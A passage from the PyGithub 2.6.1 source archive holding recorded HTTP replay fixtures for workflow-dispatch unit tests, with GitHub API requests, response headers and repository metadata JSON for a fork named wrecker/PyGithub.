ches/workflow_dispatch_branch","html":"https://github.com/wrecker/PyGithub/tree/workflow_dispatch_branch"},"protected":false,"protection":{"enabled":false,"required_status_checks":{"enforcement_level":"off","contexts":[]}},"protection_url":"https://api.github.com/repos/wrecker/PyGithub/branches/workflow_dispatch_branch/protection"} https POST api.github.com None /repos/wrecker/PyGithub/actions/workflows/2001227/dispatches {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"ref": "workflow_dispatch_branch", "inputs": {"logLevel": "Warning", "message": "Log Message"}} 204 [('Date', 'Mon, 27 Jul 2020 11:24:50 GMT'), ('Server', 'GitHub.com'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4967'), ('X-RateLimit-Reset', '1595851785'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('X-GitHub-Request-Id', '8988:6C55:197E65:212D4C:5F1EB982')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Workflow.testCreateDispatchWithString.txt0000644000175100001660000004703014756101563026342 0ustar00runnerdockerhttps GET api.github.com None /repos/wrecker/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Sun, 26 Jul 2020 23:53:18 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4946'), ('X-RateLimit-Reset', '1595810654'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"477b61da45e6880ea5f5786464f856e3"'), ('Last-Modified', 'Sun, 26 Jul 2020 06:00:07 GMT'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E612:65D4:152DD5:1B8D26:5F1E176E')] {"id":282377842,"node_id":"MDEwOlJlcG9zaXRvcnkyODIzNzc4NDI=","name":"PyGithub","full_name":"wrecker/PyGithub","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/wrecker/PyGithub","forks_url":"https://api.github.com/repos/wrecker/PyGithub/forks","keys_url":"https://api.github.com/repos/wrecker/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PyGithub/teams","hooks_url":"https://api.github.com/repos/wrecker/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PyGithub/events","assignees_url":"https://api.github.com/repos/wrecker/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PyGithub/tags","blobs_url":"https://api.github.com/repos/wrecker/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PyGithub/languages","stargazers_url":"https://api.github.com/repos/wrecker/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PyGithub/subscription","commits_url":"https://api.github.com/repos/wrecker/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PyGithub/merges","archive_url":"https://api.github.com/repos/wrecker/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PyGithub/downloads","issues_url":"https://api.github.com/repos/wrecker/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PyGithub/deployments","created_at":"2020-07-25T05:30:01Z","updated_at":"2020-07-26T06:00:07Z","pushed_at":"2020-07-26T22:12:54Z","git_url":"git://github.com/wrecker/PyGithub.git","ssh_url":"git@github.com:wrecker/PyGithub.git","clone_url":"https://github.com/wrecker/PyGithub.git","svn_url":"https://github.com/wrecker/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12883,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":false,"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-07-26T23:17:06Z","pushed_at":"2020-07-26T12:25:00Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12900,"stargazers_count":3631,"watchers_count":3631,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1162,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":70,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1162,"open_issues":70,"watchers":3631,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-07-26T23:17:06Z","pushed_at":"2020-07-26T12:25:00Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12900,"stargazers_count":3631,"watchers_count":3631,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1162,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":70,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1162,"open_issues":70,"watchers":3631,"default_branch":"master"},"network_count":1162,"subscribers_count":0} https GET api.github.com None /repos/wrecker/PyGithub/actions/workflows/manual_dispatch.yml {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Sun, 26 Jul 2020 23:53:18 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4945'), ('X-RateLimit-Reset', '1595810654'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"a0b2bdd43dd4a479fced3585634bd734"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E614:1F4A:29541B:327A53:5F1E176E')] {"id":2001227,"node_id":"MDg6V29ya2Zsb3cyMDAxMjI3","name":"Manual dispatch test workflow","path":".github/workflows/manual_dispatch.yml","state":"active","created_at":"2020-07-25T22:58:25.000-07:00","updated_at":"2020-07-25T23:00:05.000-07:00","url":"https://api.github.com/repos/wrecker/PyGithub/actions/workflows/2001227","html_url":"https://github.com/wrecker/PyGithub/blob/main/.github/workflows/manual_dispatch.yml","badge_url":"https://github.com/wrecker/PyGithub/workflows/Manual%20dispatch%20test%20workflow/badge.svg"} https POST api.github.com None /repos/wrecker/PyGithub/actions/workflows/2001227/dispatches {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"ref": "main", "inputs": {"logLevel": "Warning", "message": "Log Message"}} 204 [('Date', 'Sun, 26 Jul 2020 23:53:19 GMT'), ('Server', 'GitHub.com'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4944'), ('X-RateLimit-Reset', '1595810654'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('X-GitHub-Request-Id', 'E616:592F:981DD7:B83844:5F1E176E')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Workflow.testCreateDispatchWithTag.txt0000644000175100001660000022523114756101563025610 0ustar00runnerdockerhttps GET api.github.com None /repos/wrecker/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 27 Jul 2020 23:42:13 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1595896932'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"31c5f867927048d603d45ba261601e3f"'), ('Last-Modified', 'Sun, 26 Jul 2020 06:00:07 GMT'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8F12:0961:91CC1E:B3C628:5F1F6655')] {"id":282377842,"node_id":"MDEwOlJlcG9zaXRvcnkyODIzNzc4NDI=","name":"PyGithub","full_name":"wrecker/PyGithub","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/wrecker/PyGithub","forks_url":"https://api.github.com/repos/wrecker/PyGithub/forks","keys_url":"https://api.github.com/repos/wrecker/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PyGithub/teams","hooks_url":"https://api.github.com/repos/wrecker/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PyGithub/events","assignees_url":"https://api.github.com/repos/wrecker/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PyGithub/tags","blobs_url":"https://api.github.com/repos/wrecker/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PyGithub/languages","stargazers_url":"https://api.github.com/repos/wrecker/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PyGithub/subscription","commits_url":"https://api.github.com/repos/wrecker/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PyGithub/merges","archive_url":"https://api.github.com/repos/wrecker/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PyGithub/downloads","issues_url":"https://api.github.com/repos/wrecker/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PyGithub/deployments","created_at":"2020-07-25T05:30:01Z","updated_at":"2020-07-26T06:00:07Z","pushed_at":"2020-07-27T12:36:35Z","git_url":"git://github.com/wrecker/PyGithub.git","ssh_url":"git@github.com:wrecker/PyGithub.git","clone_url":"https://github.com/wrecker/PyGithub.git","svn_url":"https://github.com/wrecker/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12903,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":false,"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","t